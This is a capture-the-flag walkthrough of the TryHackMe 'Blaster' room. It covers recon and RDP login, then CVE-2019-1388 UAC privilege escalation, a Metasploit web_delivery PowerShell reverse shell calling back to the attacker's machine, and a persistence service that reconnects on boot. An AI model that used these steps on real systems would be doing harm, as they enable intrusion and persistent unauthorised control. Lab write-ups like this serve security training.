TryHackMe|Blaster WriteUp\Walkthrough (English)

Blaster

Room Link: https://tryhackme.com/r/room/blaster

==========================================================

• sudo nmap -vv IP. You have 2 ports open 80 and 3389, the port for RDP. sudo nmap -A -vv IP -oN nmapResults do more of scanning to catch more info. The page's title will be in Nmap scan results IIS Windows Server, you can also obtain it by visiting the website.
• To discover the hidden folder, you need to do directory enumeration, the usual wordlist didn’t show any folders, but there is a wordlist in the hints that you can use gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://IP -r you got the folder /retro back.
• Go to /retro and start looking for any useful information. You will find a user called wade. Search further on the website to find the password. If you click on wade you will go to his profile. From there click on comments RSS on the right pane of the page, and you will be prompted with a window to download a file. Open this file and you will find a note holding the password.

• Now that you have a username and a password connect to the machine using RDP xfreerdp /u:wade /p:******** /v:IP and you will find the first flag on the desktop ✨.
• Now it wants you to see what was the user searching for, to know which CVE to exploit on this machine. You are supposed to be able to view the history of the browser by opening the Internet Explorer and clicking on the star icon, but it didn’t work. However, it gave you the CVE in the hint so work from it. the CVE is CVE-2019-1388 which is a privilege escalation vulnerability in the UAC.
• The file for the exploit is provided to you in the exploit, as they said “the user forgot to delete it” 😉 which is hhupd.
• To exploit this vulnerability, you do the following:
• Right click on the file then click open.
• You will be prompted by UAC window, click on show more details.
• Then click on show information about the publisher’s certificate.
• Click on the link at issued by, it is better to click more than once to be sure that there is a web page opened.

• Close all the windows and go back to the desktop. You will find an Internet Explorer window opened with the url https://www.verisign.com/repository/CPS.
• Ctrl+s to save the page. You will get an error message, click ok and ignore it. Once you get the file explorer window, search for cmd and click enter. You will get a command line terminal with administrative privileges.

• cd C:\Users\Administrator\Desktop then type root.txt and you will get the flag ✨.
• Now we want to get a reverse shell back from the target. Start msfconsole on your machine then exploit/multi/script/web_delivery >> set target PSH >>set payload windows/meterpreter/reverse_http >> set lhost tun0 >> set lport 1234. Copy the PowerShell code and then paste it in the command line terminal you got earlier, and you will get a connection back from the target.
• Once you have the meterpreter session you can use it to create persistence. use exploit/windows/local/persistence_service >> set lhost tun0 >> set session 1. Make sure that the lport is not used by any other session or service, also make sure of the session number. Take note of the payload specified, the lhost and the lport, because you need these details when creating the listener.

The module created a service called hnzs.exe that starts when the system boots and this service will connect back to your machine. this way even if the system shuts down you will regain access to it. Also, msf provided an rc cleanup file for you to run if you don’t need the service anymore, this rc file will remove the service and any other tracks left by the exploit.

• Now start another msf instance, use exploit/multi/handler >> set payload windows/meterpreter/reverse_tcp >> set lport 4444 >> set lhost tun0. Now that you have the listener ready, if the system shuts down or reboots you are supposed to get a meterpreter back from the target.